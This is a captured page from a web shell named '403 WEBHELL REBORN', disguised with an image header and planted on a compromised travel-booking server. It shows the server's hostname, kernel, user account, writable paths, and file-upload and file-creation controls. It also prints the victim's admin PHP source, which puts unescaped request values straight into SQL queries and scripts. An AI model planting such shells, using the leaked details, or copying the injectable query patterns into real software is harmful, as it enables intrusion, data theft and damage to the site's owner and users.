ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/design/homepage_banner_proc.html
<? 
include "../include/top_proc.html";
include "_common.php";

$table = "TB_HOMEPAGE_BANNER";

$upload = "../../FileData/hotel/";//이미지업로드경로
$upload_thum = "../../FileData/hotel_thum/";//썸네일 이미지업로드경로

$searchKeyword = "";

if($search_keyword){
	$searchKeywordArr = explode(",",$search_keyword);
	foreach($searchKeywordArr as $item){
		$item = trim($item);

		if($item){
			if($searchKeyword){
				$searchKeyword .= "+".$item;
			}else{
				$searchKeyword = $item;
			}
		}
	}
}

if($SqlType=="main2_write"){
	
	//파일 업로드
	if($_FILES['img']['name']){
		$up_img = @FileUploadName( "", $upload, $_FILES['img']['tmp_name'], $_FILES['img']['name'] ,"");
		@make_thum($upload.$up_img,$upload_thum.$up_img);//이미지썸네일 생성
	}

	// 저장
	$sql ="insert into {$table} set 
	title='{$title}', title_m='{$title_m}',price='{$price}', 
	link_url='{$link_url}', mlink_url='{$mlink_url}', 
	cont='{$cont}' , 
	img='{$up_img}',pos='{$pos}',ins_dt=now() ,goodidx='{$goodidx}',
	goodtab='{$goodtab}',
	search_keyword = '{$searchKeyword}',
	b_uid='{$b_uid}',
	subtitle='{$subtitle}' ";

	db_query($sql);

	error_msg("parent.location.reload();","script");
}elseif($SqlType=="main2_edit"){

	// 기존이미지 정보
	$sql = "select img from {$table} where idx='{$idx}'";
	$data = db_fetch($sql);
	$old_img = $data['img'];

	// 이미지 삭제
	if($img_del=="Y"){
		@unlink($upload.$old_img);
		@unlink($upload_thum.$old_img);

		db_query("update {$table} set img='' where idx='{$idx}'");
	}

	//파일 업로드
	if($_FILES['img']['name']){
		$up_img = @FileUploadName( "", $upload, $_FILES['img']['tmp_name'], $_FILES['img']['name'] ,"");
		@make_thum($upload.$up_img,$upload_thum.$up_img);//이미지썸네일 생성

		// 기존이미지 삭제
		@unlink($upload.$old_img);
		@unlink($upload_thum.$old_img);

		db_query("update {$table} set img='{$up_img}' where idx='{$idx}'");
	}


	// 저장
	$sql ="update {$table} set title='{$title}', title_m='{$title_m}',
	price='{$price}', link_url='{$link_url}', mlink_url='{$mlink_url}', 
	cont='{$cont}' ,goodidx='{$goodidx}',
	goodtab='{$goodtab}', b_uid='{$b_uid}', subtitle='{$subtitle}',search_keyword = '{$searchKeyword}'
	where idx='{$idx}' ";


	db_query($sql);


	error_msg("location.href='homepage_banner_write.html?idx={$idx}&cd_b_s={$cd_b_s}&pos={$pos}&tmp_layer_id={$tmp_layer_id}';","script");
}elseif($SqlType=="disp_yn"){
	
	$sql = "update {$table} set disp_yn='{$disp_yn}' where idx='{$idx}'";
	db_query($sql);

	if($disp_yn=="Y") {
		$opp_str = "N";
		$opp = "btn_check.gif";
	}else{
		$opp_str = "Y";
		$opp = "btn_stop.gif";
	}
	echo "<img src='../image/btn/{$opp}' onClick=\"ajax_obj_loader('homepage_banner_proc.html?SqlType=disp_yn&idx={$idx}&disp_yn={$opp_str}','disp_yn_{$idx}');\"> ";
	exit;
}elseif($SqlType=="delete"){

	// 기존이미지 삭제
	$sql = "select img from {$table} where idx='{$idx}'";
	$data = db_fetch($sql);
	$old_img = $data['img'];

	@unlink($upload.$old_img);
	@unlink($upload_thum.$old_img);

	$sql = "delete from {$table}  where idx='{$idx}'";

	db_query($sql);

	error_msg("parent.location.reload();","script");

// 순서변경
}elseif($SqlType=="chgorder"){

	for($i=0 ; $i<count($idx_arr) ; $i++)
	{
		$idx = $idx_arr[$i];
		$order_num = $order_num_arr[$i];

		if ($idx and $order_num) {
			$sql = "update {$table} set order_num='{$order_num}' where idx='{$idx}'";
			db_query($sql);
		}
	}

	error_msg("parent.location.reload();","script");
}
?>

Anon7 - 2021